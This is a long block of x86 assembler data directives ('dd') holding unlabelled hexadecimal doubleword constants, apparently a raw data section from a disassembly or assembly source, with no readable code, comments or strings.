dd 7FDCD21Ah, 69192700h, 0F5057816h, 0B6DD002Fh, 22C1B8Bh dd 80FB10CCh, 0FA0917F9h dd 8573C6h, 0D2DDE4DBh, 7D3D043Bh, 991F1800h, 0E2414E9Dh dd 2CC00161h, 47941ACFh, 54C247ACh, 30958788h, 0A9EE7B76h dd 0D26A0D16h, 41045402h, 2B58C00Ch, 51D10140h, 0AC89B5C4h dd 7FEE07Eh, 8161AE13h, 0C9507843h, 0C6929811h, 0B34D0008h dd 0FF071470h, 0F91234F1h, 0A300ACF2h, 77BC1651h, 0EF920094h dd 0ECCF65CAh, 6A0096B4h, 173D8955h, 0FA01EAh, 7406764Bh dd 379608Eh, 0C98C901Dh, 9840CAC0h, 388F19ADh, 0AF006146h dd 7AFA8623h, 361E5514h, 0BF490A77h, 0EA40045h, 0E4B7BA5h dd 3082343Ch, 8B5E0860h, 805893C3h, 64EE07ACh, 0F5C0FA40h dd 4C3B58CEh, 0F100976Bh, 9C9FEB85h, 400079EDh, 7B440703h dd 911FEB9h, 8B3B9397h, 120EA100h, 7500C01Dh, 2BB3AFBAh dd 73384Dh, 61FD33F1h, 286FBE9h, 0D11B7407h, 70304B2Dh dd 1737F51Fh, 4E6E2F6Ch, 792006B4h, 0A84AD434h, 1259F900h dd 63E7FF0Dh, 0DC8B058Ah, 0D062D3FEh, 74D1980h, 3225F800h dd 0E602340Bh, 944F505Eh, 4ACB00E8h, 1C1F339Ch, 1804EEF9h dd 9E7E1352h, 1E421C80h, 4B87007Ah, 0CD4316A6h, 5200367Fh dd 0EBD48665h, 9EA51F1Bh, 166B05B8h, 0A1C0013h, 18ED6927h dd 5D6A2F26h, 0C1E0E16h, 0D103F18h, 691F8835h, 831EB6E0h dd 5A01B862h, 2ECF993Bh, 6A172183h, 2A59E38h, 0BCEB3234h dd 8561A180h, 1100DC25h, 4849DE47h, 793C938h, 3C3D170Ch dd 2F16E346h, 0BF705ED9h, 7A6A0098h, 0CAEBB165h, 50DF46h dd 913E4C11h, 0E1009847h, 37DB2053h, 8BD2DEh, 4CBA6718h dd 0C4EAB66Bh, 1A634B00h, 9C1FDDF7h, 313600CFh, 715C88A8h dd 0BD0002BAh, 2B6BEC96h, 823E4Ah, 0E5A92AD4h, 76D305B3h dd 50521412h, 3D2E7700h, 5E46FAh, 36B23C32h, 52B020C2h dd 82260F0Eh, 1E8BE05Fh, 48B31Fh, 378D3A74h, 0A82E789Dh dd 856AE70Fh, 6C420001h, 0EE7AA282h, 3B3007BAh, 40AA99C2h dd 5FA4F2ECh, 0CC971A2Ah, 0A94B200Fh, 8817A054h, 7D23755h dd 0CA7D82D1h, 0EBB31016h, 0AA5C6FADh, 39331224h, 0D3D2C400h dd 0F41913F5h, 8A560A94h, 80A81638h, 222B18E2h, 9200BADCh dd 0D55CB31Eh, 0E6E90DEEh, 0B7650077h, 8CEB4133h, 4C001F6Bh dd 3AD3C622h, 169F24h, 5F383C56h, 423BE31Bh, 32BCE41Ch dd 8F57B74Fh, 0E050E037h, 92604CF0h, 0C82D0000h, 3A84616Dh dd 1F0082FAh, 0CF631C04h, 0FC9990EBh, 0E63D0038h, 0E589FFCBh dd 2600B485h, 0A23F6B55h, 8EA25D9h, 0B98EEB81h, 270CB786h dd 0D01A05D1h, 0D01E3764h, 0FA822E64h, 69FCF100h, 2C6BCE87h dd 0D1E4000Fh, 9A376EE1h, 93004795h, 0A870775Dh, 38A7F53Dh dd 0C8AE30Bh, 7E04E275h, 0A41B008h, 8058F711h, 0A7B20074h dd 90955893h, 0C35B429Bh, 6B3A0h, 0F11F5CA6h, 0B247C5C0h dd 0D788EF0h, 1E1FA274h, 465FA7CAh, 0EAC5A500h, 9A9895h dd 91D3F144h, 909CBD59h, 9B002A7Ch, 0CC115F94h, 0E2C3B699h dd 0B27F00DDh, 0B409939Ch, 5478CBCAh, 44E2CF00h, 78BDA6B5h dd 0AFB100C6h, 1A867951h, 0B8C0EEFAh, 0A6878242h, 704A0027h dd 98113393h, 1E003963h, 0C1F11B7Eh, 1843422Bh, 28A77937h dd 0F88892E4h, 0C295883Bh, 0C8800F88h, 0A7450851h, 28B9140Ah dd 2983CB0Ch, 32284FCh, 71BD4225h, 44A08B44h, 1D440191h dd 0BE228441h, 11D4428Eh, 6521EF17h, 90972108h, 10219EB8h dd 96858449h, 8786C4Ah, 0D94E9E7h, 60C81514h, 2890288Ch dd 0EF012022h, 13FFF908h, 0C5292784h, 0D400D8D6h, 0D2513F17h dd 6C26002Ah, 58EAF69Bh, 1500D3AFh, 0A566243Bh, 7C4ABF60h dd 36BB009Eh, 44BD3A6Ah, 0C20F3494h, 80F9A47Bh, 20124E47h dd 81A603BEh, 3AADAB4Dh, 821F0990h, 0A5D92600h, 8F527816h dd 9C9869h, 0AFF5DC04h, 0F20B6588h, 2DCDD100h, 8902587Dh dd 4B3D00A0h, 0E8010331h, 0FB005950h, 954945C8h, 38729041h dd 6A802010h, 11E2EF77h, 0C7F674E6h, 0B5F77907h, 3A501D55h dd 48FF5D18h, 9B0294B1h, 8FC6BDBAh, 0CC2D36E0h, 644B850Fh dd 34316112h, 7880AF98h, 73A7F41Eh, 0A80F9A1Ch, 60C637D9h dd 686D4682h, 1A06129Ch, 0F3BC0043h, 4B9D1358h, 186B600h dd 615DA4B8h, 704C00CFh, 9B2277Ah, 0B50035DEh, 40EAF9A5h dd 1E847729h, 0C05A2CF5h, 7BBCD5CEh, 0A60304EDh, 0C02B8051h dd 0A1808DA5h, 7062B8h, 6465F17Ch, 2D8DE6C7h, 0D6E41B00h dd 7835AF80h, 0B719008Ch, 8B642EA4h, 0CBF6A587h, 75566306h dd 308E13h, 4AF194F6h, 0D261705h, 4073401h, 0B8D68458h dd 0E880C5CDh, 2E71D082h, 1DF0C11Eh, 0E63EA70Fh, 735E20BEh dd 3AE033h, 0B21A4F43h, 3257154Bh, 67827A00h, 3E859FD6h dd 957900D1h, 0F5FF4417h, 4D26EB21h, 25005013h, 1E24D3AAh dd 22E500E4h, 0B1DEFB18h, 0BA3F31CFh, 6C22485h, 6A0B5000h dd 4C3B2h, 71EF8435h, 73ED8239h, 0FA812F04h, 0E6805F48h dd 4B4BFCFh, 49859511h, 950CAFFDh, 0E4EFF09Ah, 0AF81008Ch dd 9D4D905Fh, 0A10052FEh, 0FD929B03h, 50C4067Ah, 377D4A7h dd 97C86789h, 5EAB1E53h, 658BFDD8h, 9090D0F0h, 950FBA00h dd 0E77EF7E3h, 1DA700DBh, 5D8CF537h, 0A20FD8D2h, 4010F0F1h dd 0EF87943Dh, 2AAC05D1h, 1DF8B297h, 0DC1780B8h, 4EF610DDh dd 32024100h, 6276A374h, 29F7977h, 0B9F4E4FAh, 6C408761h dd 0A7721940h, 0C407F5EDh, 0EF00A97Dh, 72676BFDh, 7B0BB1FBh dd 9C47FDABh, 1F390686h, 8347FFh, 23A75589h, 67249C31h dd 36805815h, 0EE931356h, 0FFB30053h, 48E25A4Bh, 0F2468B6h dd 0C0833CC7h, 7E6F9812h, 4A7001C6h, 0AA4F3BFDh, 6A75CC0Ah dd 6F192A00h, 7FD13418h, 0EF2909A6h, 2420ABF0h, 32603139h dd 80CD893Ch, 0A30DFB64h, 56672Eh, 0C0BCC88Ch, 9A20CBF4h dd 64337218h, 72DDEh, 0B3176AC7h, 0B0F27FFDh, 0F5730D00h dd 9BA00ACCh, 66640025h, 42C11FF7h, 24B0FA30h, 801DF33Fh dd 0AE26E74Dh, 625ED87h, 5F886ABh, 2A0008ACh, 66751B4h dd 90A41Dh, 685C28DDh, 6A5230D8h, 7F22B601h, 8D1CAD81h dd 9F606DF1h, 1C877FDAh, 0F6DE3Dh, 1005C0AFh, 300147E8h dd 0B4DC2588h, 0C0208AB1h, 7B0D000Ah, 6236C76Eh, 182C5E4Ah dd 63028879h, 80D2FD3Ah, 2054F7ACh, 0CCEC1211h, 460C00FAh dd 40D135BDh, 0C024B607h, 0DCE02215h, 869D2h, 0BC9D201Dh dd 0E6A94CA8h, 0E90B6006h, 2F8122Eh, 0BDF55358h, 6460C9CBh dd 900E369h, 32DC7A62h, 7C4110h, 0D25B6BFh, 4EF0B74Ah dd 47608300h, 0EA92A642h, 339700C3h, 594CDF1Ch, 75EE5D69h dd 0DFAC4Ch, 1F05A446h, 96E225h, 4A072027h, 60370E0Bh dd 654E1600h, 19F38689h, 0CB1400C5h, 7402B2F9h, 5339BF63h dd 61910073h, 787552FFh, 816900E0h, 0C6A9D786h, 0E100D510h dd 420C927Ch, 0C98F85h, 0CCEB4154h, 6CAFE6CAh, 589D0300h dd 53B3D15Ah, 4CE9009Eh, 3E4E4F14h, 290EF661h, 0C0028770h dd 0D52A5E49h, 7E7300A6h, 0E8593EE5h, 193EA8D4h, 98F92818h dd 4F2FF24h, 3222FB00h, 0F421D185h, 1DC0378h, 0EED5B008h dd 0D254E7A0h, 84837907h, 0FC437CCCh, 0E8E8B3C4h, 1E98D8Fh dd 1F8892EEh, 2099C2F6h, 86034314h, 0AD08CF87h, 2E1DC902h dd 6AC43F61h, 18DD00C5h, 8E1B0BB4h, 0D005768h, 0A572FA2Fh dd 989CAE66h, 2A510058h, 0BD6A04D4h, 2624C4C3h, 0A140FC2Ch dd 9028415Ah, 0B6F00018h dd 727BAE71h, 4D980804h, 0DDE32400h, 3E172B9Ah, 418B0019h dd 0B7F4FAC4h, 1AE0680Dh, 4CDDF500h, 2B5C3513h, 6095013Bh dd 0F045A7E8h, 9DE420BCh, 0BAEFFF00h, 0AEF74636h, 30BE0052h dd 51A20ED0h, 1B00C36Ch, 5A02E590h, 7086B8CDh, 0F96E1CAEh dd 0FB0E43C0h, 3ED0D31Ah, 4500FF80h, 4404BCA8h, 288B6Dh dd 0F8F15B11h, 0FAB165AAh, 3C88158h, 31AE1B7Bh, 0FE8B86Fh dd 0AD4E0071h, 0E5288534h, 1F007D2Ch, 790A25E2h, 3A8D232Dh dd 0A5806061h, 0A3175868h, 14010DF2h, 5C5DF198h, 0A06FDD9Fh dd 6B12EC0Dh, 0D4002DC4h, 58D98C18h, 0E1E804F7h, 81FCDCD8h dd 300AD708h, 0FA71D3F4h, 0F9244198h, 0D9120407h, 6CDF402h dd 0EA8E4011h, 0FDBA2481h, 0F5003A04h, 0FFE08B99h, 0E10096C7h dd 178FAAE6h, 90A2CAEEh, 7FF58008h, 0D11000CFh, 15AFF10Bh dd 6E0F3DD3h, 0C792E64Bh, 9600618Fh, 0CB80A2h, 0D0BAB39h dd 2F6C919Ch, 0A00E7A7Fh, 605BEE63h, 4A53810Eh, 0A3D4A1A6h dd 1322B770h, 14E9874Dh, 6901C7E1h, 660EB349h, 4C0F66Dh dd 90002C67h, 86795D14h, 38DD0Bh, 0C023CC85h, 30BFC5C6h dd 0D7988D00h, 2D17FAF8h, 8C3C00B9h, 0BC543A37h, 0FD1C52C2h dd 291D6F8Eh, 33F916C0h, 0A5FE9Ch, 0C0D3E722h, 9E6BA0D6h dd 0FC9A8500h, 0E6C4C72h, 16EF0097h, 8D2EB283h, 9F004826h dd 64F0EE6Ah, 2BF8A8h, 277F7D94h, 0E5C715ACh, 0D40053B0h dd 0C4478C28h, 73552DECh, 1B7D00FCh, 13B982D6h, 1628515Ah dd 8A03EF68h, 0EA3EFABDh, 4C92E01Bh, 0BAB5000Eh, 0B8489E5Bh dd 0FA12765Fh, 8E0F8438h, 49258726h, 4BB3FE60h, 4D7400C5h dd 2BE09CB4h, 980F6ED1h, 1117EB5h, 0FBECB909h, 16C71020h dd 7BB0DDAh, 7FAD0B3Fh, 0C5E018E1h, 3DD7CCE9h, 8EE1D600h dd 0EA91BAB3h, 0E894E6EDh, 5BA900E5h, 6597AE99h, 7A02D592h dd 0BADE085Fh, 2B1040B0h, 2C4CEA5Eh, 1C0CD160h, 2ECA0171h dd 0CA90401Bh, 0A4EC2060h, 71C4A72h, 611E804Dh, 0A7230580h dd 1A8337h, 8A3F09DDh, 3B8EF757h, 0F658BF18h, 754BB8h dd 9D790728h, 0A0570936h, 3080B35Ch, 7CA10980h, 83F9090Ah dd 0F840CEA4h, 301C0206h, 2E400CB7h, 451BF5A9h, 0EC4B7CA3h dd 0DFB8C1AFh, 32C9FB9Bh, 0ABDBC074h, 76183A9h, 1EA0EBF8h dd 7DDD2125h, 34060BAh, 22D4B01Ch, 1B995E00h, 0C01146F5h dd 0C03E93B1h, 4516876Dh, 0C101A7CEh, 4898A6CBh, 0D4490980h dd 3C260771h, 7DB24438h, 0F8887C00h, 0D68A7250h, 0A19F0142h dd 89AD3CCDh, 0A7B19F4Dh, 0FADE5DC0h, 0B2961FD3h, 48E60094h dd 0FEAEC2Bh, 0BA12A71Eh, 5701A587h, 7F17241Bh, 348FB40h dd 3093076Dh, 5071B834h, 27602CF3h, 5C4BF000h, 9C75F5E3h dd 1109095Bh, 7F08C1B0h, 0BB1E80E8h, 0A9715AF8h, 1B425600h dd 0A60AC166h, 25F900EEh, 0A36B2FBCh, 2030B457h, 95424017h dd 18C3032Dh, 0FDD053F2h, 7E2FB5B8h, 8037863Ah, 0E2F798F8h dd 0B35093Eh, 1DFCBA83h, 8D3AFA01h, 0DADFE4A6h, 9DDC9C13h dd 0B0131400h, 7BC018Bh, 0CB38412Dh, 70D35002h, 0A7F4827Ch dd 6D5B9B02h, 435C5EC6h, 0DFBA91FCh, 585F89C8h, 0F041232Dh dd 18B0D6F8h, 1043DBFEh, 0F600400Ch, 41B7770Ah, 30EA146Ah dd 8BF89822h, 0D228E15Ah, 3400B4CAh, 0B863E2B6h, 64A804h dd 0C17B600Ch, 74796219h, 0A965E500h, 0E247B639h, 31940041h dd 0CFAF23C3h, 25005F54h, 0E361FF22h, 0EBF1A5Ch, 0C0CEF19Bh dd 0F942EFC3h, 32538AF9h, 0DDE50110h, 6D904B2h, 4EF6A880h dd 0B5E08F56h, 1E058804h, 388047C0h, 0ADDF99h, 67FBC3Dh dd 6E0D2491h, 9DF8017Bh, 0FCD9A800h, 4B77733Eh, 5D0A0065h dd 3FD68083h, 8A002CBCh, 0EE60382h, 0B7EC564h, 78533912h dd 0B06D4880h, 0B13F9983h, 956680E8h, 0B334127Dh, 5538483Dh dd 0A70FD700h, 0D39A5A53h, 0FA420900h, 275468E4h, 0E3070024h dd 5D0F171Fh, 13786C9Ah, 55407B01h, 7F99229Ch, 0DC28B031h dd 2870F926h, 0B08D3BB2h, 160FE03Ah, 45C354DBh, 1B883FC3h dd 23000386h, 8CE4557Fh, 0FEA504h, 161168F6h, 4F83315Eh dd 76988F50h, 9FDBCC1Eh, 261089D8h, 0E478C3h, 45CAECD0h dd 0A2CF7BCBh, 5F276800h, 88BC19EFh, 2523079Fh, 446BD6Bh dd 0C1A08074h, 8B003EAAh, 5A00CA6h, 3A10BACCh, 6F04D706h dd 80C2E595h, 1CDAAC10h, 0E3398D1Ch, 56417C41h, 64709E9Fh dd 0C2FCD4h, 0E8621BE6h, 0AA7FEA92h, 28887B48h, 0B64BE867h dd 0A9DE5383h, 4020BC82h, 0D9D63884h, 0F800DA27h, 0BFBC47Fh dd 0E950A700h, 9F4D599Eh, 0F7098B9h, 0E19A1F09h, 18847361h dd 17F0F848h, 8E746128h, 8412A528h, 8A32BB0Fh, 7F4D00C8h dd 12A62DE4h, 0C0660C37h, 5920FAE0h, 0F213C4B4h, 2330C8h dd 3C0DE037h, 3585ABAEh, 2B7E0F00h, 2ADDDC16h, 0D7AA00D0h dd 418F8317h, 0D201C177h, 7049CF94h, 9439238Ch, 0DE97EA00h dd 99D0183Bh, 0BA4269C0h, 0B2913DF3h, 649CA4h, 0CDF81EE6h dd 67138929h, 784359E4h, 0A8DE23FBh, 2B3ADAh, 0D57317F6h dd 0A169CA82h, 1A455C03h, 98D3580Dh, 0ECD69581h, 252E018Fh dd 0DB768487h, 8C4BD08Ah, 8B1A7C91h, 8F7CA010h, 709CC1FEh dd 0DEFB283Dh, 22E9038Fh, 0A7AE1FDAh, 664480A4h, 8F0C0732h dd 413E5329h, 6F7B065h, 900A31BFh, 0BA0928DBh, 89B38D37h dd 4DAC2110h, 0E240B1CFh, 30C52A52h, 41181936h, 82003013h dd 0E18FD227h, 91AE87h, 9EBD51F8h, 59A07864h, 81DFA4Fh dd 0BB06680h, 0CF4539Dh, 3F01DC75h, 0EC005A48h, 29593026h dd 348957h, 0ADF7D61Ch, 5D03F1C7h, 1754B92Eh, 20534830h dd 0E39000F9h, 894C5C33h, 0D400B39Ah, 0EE87BD92h, 18A0CCBh dd 0C8679C2Ch, 0EC948D10h, 0D4B6C1D0h, 59E7003Ah, 0A042B41Ch dd 0B6CE409h, 8C7F3507h, 0E25AFC20h, 3902AD47h, 0D0A309B3h dd 0F8F0A3BBh, 0D5CDD093h, 0E01400B6h, 0B58B499Dh, 0A009177h dd 8350A485h, 3C3BC3B3h, 3D0E188Ah, 0E807E79Ch, 2DD50A9h dd 0AE385607h, 161C00D0h, 54776E96h, 0A0B2636Fh, 3090BB94h dd 60E7DEF5h, 0DB02049Ch, 0CF2E10C9h, 0ED94C0A4h, 80DC883Fh dd 0B3519600h, 0C2185366h, 25750928h, 0C025DF02h, 0F6280308h dd 0C9757411h, 0FD526B00h, 2C974676h, 593FEAC7h, 1A0038C5h dd 1208CF92h, 0CC983D4Fh, 822DD200h, 4C0A85B5h, 0DBD8E7DDh dd 2E292C51h, 63C881B8h, 3D5492B6h, 807C3ED8h, 4116AFD6h dd 50696811h, 4029C042h, 31385B1h, 0CC8007DAh, 1EB4819Bh dd 917C9E7h, 98001B29h, 7D846841h, 46B81800h, 0F55372A4h dd 0A2EA070Eh, 9CA58E56h, 0A6135481h, 120E41A3h, 0F68BA0A9h dd 5A4535h, 219DE13Fh, 0C0F8D2CAh, 1625C900h, 0ECEB970Dh dd 0D6910094h, 522FB6F9h, 34E0436Ah, 6B444A00h, 269263DCh dd 0E21C00CBh, 0EE5835F8h, 7400A59Ah, 62A89B5Ah, 48C07F50h dd 87004EDBh, 118E0822h, 6F62B51h, 0EA9038h, 7C6C754Ah dd 0DA4E4Ch, 0E2225DF4h, 17955326h, 0D7F9C800h, 0AE680FAFh dd 51B50357h, 5420F074h, 5EA341C7h, 6F94D8B0h, 987015F6h dd 7E975000h, 4AC618F1h, 60EDEE88h, 0CB5CA0F7h, 720FBA1Fh dd 0D995E4h, 8465609Eh, 0A1B10501h, 201BBC1Ah, 0EF0726A0h dd 67866D00h, 7C797BCEh, 0B4E81640h, 0C3281F13h, 0C6AF3A97h dd 7555AAA8h, 4117A609h, 0B91D00EBh, 4F7A30h, 0FABB86BAh dd 8D7DC9F9h, 89211100h dd 6A94EB1Eh, 630E01A8h, 8E830786h, 0FFDE444h, 0DD07500h dd 9B950441h, 0E2E60221h, 83794C4Eh, 2AA3DDC0h, 479A300Fh dd 0F55B80AFh, 242DC2h, 0B4834B8Eh, 19F606DBh, 8058C03Fh dd 1BAB29E3h, 986552A3h, 138D1DD9h, 856982AAh, 0A449DC54h dd 1899C081h, 222EE300h, 0D5662031h, 650D02F1h, 4CECC340h dd 0EDA2EC60h, 0B675D6F4h, 0EEB97E0Eh, 505C828Eh, 481C605Dh dd 32C600ABh, 47E3AD2Dh, 0D0098156h, 9B5371h, 0E17C433Ch dd 7530006Eh, 0BAD196EFh, 950040F7h, 0C8E9613Eh, 0A8EDB1h dd 50B25565h, 45BA7CF4h, 18700C01h, 0D1B1D52Bh, 79AD5834h dd 877C0003h, 0A0B52CD7h, 0ED26CCC0h, 0BF818888h, 0C4182EEFh dd 0BC4EC0h, 334F0CB2h, 9FDC2662h, 0C9124506h, 931F344h dd 290E37AFh, 3BB9C20h, 6A0140F5h, 205C9C0Fh, 4360B8CFh dd 2771C2h, 41E8B4E2h, 1C564A53h, 1E80A006h, 0F64199E1h dd 9190008h, 2B04E4A2h, 0EB13796Eh, 404B0B35h, 0FC9424F4h dd 98A140D8h, 353A02BCh, 3D646793h, 832E1C64h, 0AF00941Dh dd 306687DDh, 82281E8Bh, 67C8C5A1h, 735C839Bh, 6C3724A9h dd 0E09116A8h, 0D3BEB440h, 545659h, 2E5C7A73h, 0EEF04748h dd 0A2DDC302h, 4359375Eh, 6DECA08Bh, 22E800D0h, 0ADB6465Bh dd 0EF301C19h, 26E5D8C4h, 936000CEh, 0CFD88223h, 7F4C689Bh dd 72610090h, 39A842F4h, 2FB0379h, 7D07C4FFh, 0F7ACEAD8h dd 0CE280160h, 0C36E66h, 0C1A80440h, 0EA508955h, 0E6000DF0h dd 4E38FDC2h, 0C9A9B1h, 0F0C8214Fh, 0A5908FCBh, 71EAF977h dd 68000690h, 984A0FCFh, 21D08D7h, 0CD33A559h, 0A0C134B2h dd 92820CCh, 0FBE06D54h, 30B4FD55h, 2E00F14Bh, 9E0C3C31h dd 0C042093Dh, 4CDCD946h, 0FE186881h, 0C712A288h, 7CCC0085h dd 0DD2AFD82h, 89025E47h, 69A2F9BAh, 2D8A417Ah, 0FF9420h dd 38FB5034h, 26DE53D3h, 70C50F00h, 57F0BA95h, 2D8305F7h dd 0C023C1DCh, 30EEE314h, 0F6D77F00h, 0F5DD81FEh, 0A8840DFBh dd 4008FCD5h, 0D65783D0h, 80542D00h, 988C38B0h, 184ECE8h dd 0ADB2C69Ah, 0C82CBDF2h, 0B6029D99h, 2257DA42h, 85FCD36Dh dd 0D054B516h, 0AF53B63Ch, 7A3B0A00h, 1A416BB2h, 93803846h dd 0C563EF80h, 0D9A32869h, 71309960h, 17FA0C6h, 9E424415h dd 0D4F3F577h, 3D039839h, 0EFB62FECh, 5A4BD8BBh, 95A400F4h dd 0A9916CFh, 9F768849h, 0F8082C01h, 0E2BFF3A8h, 1D89AF4h dd 0D6236AFBh, 0C0D97041h, 0FC00B74Bh, 10F355FDh, 0E9A2F5Ch dd 7D7FC585h, 5F1740BEh, 0D0249475h, 47A2D900h, 936EAD82h dd 0D7EE0FBCh, 43E08026h, 0F31AD396h, 0C48D2A00h, 21618406h dd 0CC9F051Bh, 0FFB68FA0h, 8D8B6AC0h, 4ECF04A3h, 80619886h dd 8C0F7980h, 38F4A65Ch, 4703F80Dh, 295710DCh, 245EF1DAh dd 0F000802Ch, 0F34D4CF7h, 0D32DA96Ch, 0EDD400F5h, 0B5C1BC03h dd 0C30934F0h, 0C8AD0B0Ch, 0E128804h, 1AAFF620h, 2391E260h dd 71004AC1h, 9EB24F6Dh, 5B27DDh, 0BA014993h, 2DD11FEEh dd 0B15A1D03h, 0CB35A076h, 0D5F5EA58h, 744454C0h, 60003DB0h dd 0A57D2877h, 3CBE9EFh, 0C0DB34F5h, 17B1B14Fh, 7DD1D7E6h dd 4A20302Dh, 37A7E100h, 7B26818Ah, 650F02EFh, 0A23E4319h dd 7EFCF0E0h, 0C1F84C09h, 0EE1480E5h, 0F2AA47h, 0CBA1A441h dd 5501A50Fh, 0E3837409h, 23528059h, 901833FAh, 4228000Ch dd 48C16FBEh, 537B44CDh, 0D0A0B898h, 0DFFE9DB9h, 1C0FA7E8h dd 8EB6B3DDh, 258C20ECh, 0A5D8E8h, 0F16A731Eh, 0D750E696h dd 5CE09A00h, 52EF8ED3h, 75AC0BD5h, 3490C28Ch, 0C083B48Dh dd 12135605h, 40CE03B2h, 0ED5FF780h, 763AB79Bh, 0F9219E82h dd 0A06C2383h, 5F80B01Fh, 0FC7A67h, 59E88D05h, 1A3418EEh dd 7687AC01h, 0DDA67EF1h, 970AE0h, 0D2DCF728h, 0DF9D110Dh dd 0A9233700h, 2B1CCF0Bh, 9070E320h, 0AA3B05B9h, 0C08B99E0h dd 326790ACh, 648E2200h, 3B956CE7h, 4C7E4D41h, 0B06B0701h dd 305714BFh, 82711C8Ch, 5F4F2D01h, 24428B26h, 3A5860FAh dd 5D6C00F8h, 0FCD6F0Dh, 5A1D2E7Eh, 124FC811h, 0F85640A9h dd 7D7A5Eh, 36B8F4F2h, 0D3DD9A6h, 0C8601C03h, 0A89C6883h dd 84C2C0h, 8E127D7Ch, 0CA2109B0h, 78514E00h, 0DAAC1C9Eh dd 80D8A20Bh, 6344950h, 5F0400F9h, 39F1E4E2h, 4B0EE3C2h dd 0E0AC984Dh, 61F209AAh, 873A0046h, 54AB9EF9h, 3000FA49h dd 8E5AA97Eh, 948A4AFh, 0B802F8C1h, 0CC001070h, 258B774Bh dd 0A7D8CEh, 325DA6E2h, 94050135h, 8CB5A1Dh, 247E00BFh dd 0C5E9120Dh, 60D60009h, 6C643499h, 0AC98207Dh, 5C69B701h dd 5A59BD6Ah, 67DC8BF5h, 3CB60063h, 65AE1B6Fh, 2D093DF0h dd 2B47E04Ah, 0FC5803E8h, 0F258E0EBh, 46430075h, 4C78F009h dd 0AC98AD69h, 60EE7B00h, 73FDEFDEh, 29E9007Eh, 19E214B6h dd 0A22EC789h, 8F80509Ch, 4DB2B5DFh, 2E1C03B9h, 1EF45486h dd 0A2A953A8h, 49454A30h, 3BCC6Bh, 13E6C790h, 70CD29E4h dd 0DAB18900h, 603586B0h, 0ED0E0016h, 0F6E657C9h, 3C26782Ch dd 1D005071h, 2DD76F7Dh, 0E34B089h, 0B48C802Bh, 0C0F1DE21h dd 0C3E32088h, 38EFD01h, 62058E8h, 2C54F0h, 2A56C272h dd 1D1A9B7Ch, 0E909E8BCh, 0A65083BCh, 0E2F7B00Dh, 0CB24006Fh dd 637D7338h, 7AFC0269h, 3031812Eh, 0A0F6408Eh, 37A07905h dd 3BCA76F9h, 7B82BDE2h, 4DA5B534h, 81445F40h, 0A6396903h dd 586FB941h, 0AA88BCC0h, 0F55F5700h, 0DAA6D7h, 305296D8h dd 315B21A3h, 94A00B24h, 3EBF7C85h, 0AF0C6490h, 3AEF004Ch dd 0B8AD8AB2h, 87003DA0h, 0CF0F68BEh, 0B8D9A8A3h, 57A12FEh dd 0C0901DB7h, 205FFB3Ah, 0D03F80B6h, 27FBEDAh, 0EDBC9B66h dd 8E68C8A8h, 0EE501F99h, 40AF5E2Ch, 6FB73DE6h, 0B8300AA0h dd 0B33E7C64h, 6C24018Bh, 0A5434C0Eh, 91FF049h, 0D8362000h dd 740A7DB6h, 0CE6E0403h, 8024B943h, 0C101807Fh, 98507C28h dd 9120021Eh, 573D7A83h, 0E125DA5Ah, 0D8C3EE00h, 274600Eh dd 79B324FDh, 0C8402C35h, 0A21C7E19h, 7C121CBFh, 40714CC2h dd 7856DA4h, 7E0637C8h, 0F65090D3h, 0B1002FC6h, 0BD3BC0F9h dd 31CEEDh, 5ED60BA7h, 670DFBACh, 0B39A4C0Fh, 65F9A011h dd 71A01C61h, 0ABD00348h, 0D6A68AF4h, 0D853A916h, 59257D04h dd 3214CC90h, 2E0D121Ch, 6F2401D5h, 64EACEF8h, 3F0CFBECh dd 60616245h, 864F0513h, 80BECE91h, 0EED22208h, 0EA1C3AF0h dd 6ECA7376h, 0E41DAC3Dh, 5A33A440h, 0BA4698h, 0EBDD3A6Ch dd 48457182h, 0AE133E00h, 627642BDh, 60A41CE8h, 7E42C7Ah dd 84166E44h, 5FA9007Bh, 30330Dh, 0FE451BFDh, 7407204h dd 447E1000h, 0F613103h, 99141780h, 4BF0874Ch, 3E4C0375h dd 0FCEB9D1h, 0D5F04FEDh, 946B49A0h, 6583FA01h, 244607ABh dd 947D1588h, 0CA7D4400h, 0F10E0145h, 614C1B3Ch, 6CF020D4h dd 6E7902A1h, 33BA202h, 0F1355F96h, 256000E8h, 4CD93CCCh dd 0D636BB04h, 7885737Fh, 49751A00h, 0BC721FFh, 85950BBFh dd 8A325400h, 622FDE25h, 3D108065h, 12B722B8h, 1ADA39Fh dd 3AA96184h, 8A60E088h, 5B3C4890h, 0A20F80A5h, 0FFEA804Fh dd 0E1990041h, 0A76B4208h, 0F7026623h, 0ACB643A5h, 7B06129h dd 1A009145h, 1BED4BC9h, 72C9ACCh, 7E181FACh, 0FDCF7095h dd 2A09D07Ah, 0DAD3542Eh, 0E8F2E4h, 7D1A562h, 1E479F39h dd 0B0A8F926h, 0EF0BEB1Eh dd 58EC4Dh, 0DE168E4Bh, 5B5662D8h, 93352B00h, 0A960B432h dd 0CF190FF1h, 7D2712EAh, 1D2FE085h, 5E007E03h, 0B0840D4Ch dd 0E63ED19Bh, 0F55007BAh, 20ECA5F2h, 78FB2FD9h, 51DCC204h dd 0AC802196h, 98E6208Eh, 20EE5E7Bh, 261D8AC8h, 6ED50D0Fh dd 0D752007Dh, 7CBA83h, 79DC210Bh, 26412DB1h, 86C5E600h dd 6FECE152h, 0C0944F92h, 0FBDC8384h, 8957F900h, 52FF605Bh dd 0DDB10076h, 0EAD90430h, 3004194h, 63A4752Dh, 0DC5B91h dd 3A26E9AAh, 7AA1EBF5h, 8C3C9518h, 121BF478h, 0FF5A4AA5h dd 0B6857D01h, 88F43E0Ah, 0F3C3075Dh, 20B1C952h, 26B5F8F9h dd 69231A05h, 4480CD36h, 3B523A90h, 4600CCBEh, 22544B84h dd 20067D6h, 0B1377224h, 7545FFh, 36112689h, 0DD957364h dd 3040AB37h, 0D05703C2h, 0A71A2238h, 9F017D90h, 0CBCED379h dd 7180DA0Fh, 7B685A7Fh, 0D501360Bh, 1B3F0E90h, 33A53D8h dd 88BC3A84h, 16FC7BE0h, 539BD98h, 0C39C80A9h, 0A0813C9Eh dd 9341ADCh, 1461B1BEh, 0F28DDC43h, 0A9E14F03h, 486722h dd 1F106258h, 0FFC27E63h, 3A836094h, 0E9FA966Eh, 0BC2005AFh dd 2186182Ah, 2650503Fh, 719BEF30h, 0C00E4972h, 2F83E8D9h dd 7B13543Ah, 3CC02AF7h, 0B90D84Dh, 844BEE17h, 0DAB83C00h dd 0FB024F91h, 0B08DB689h, 0BBC1607Ah, 0C8384C08h, 5D07D700h dd 8067F91Fh, 0BC225F00h, 0D4CD4FAAh, 7ADDEC38h, 1FB2000Bh 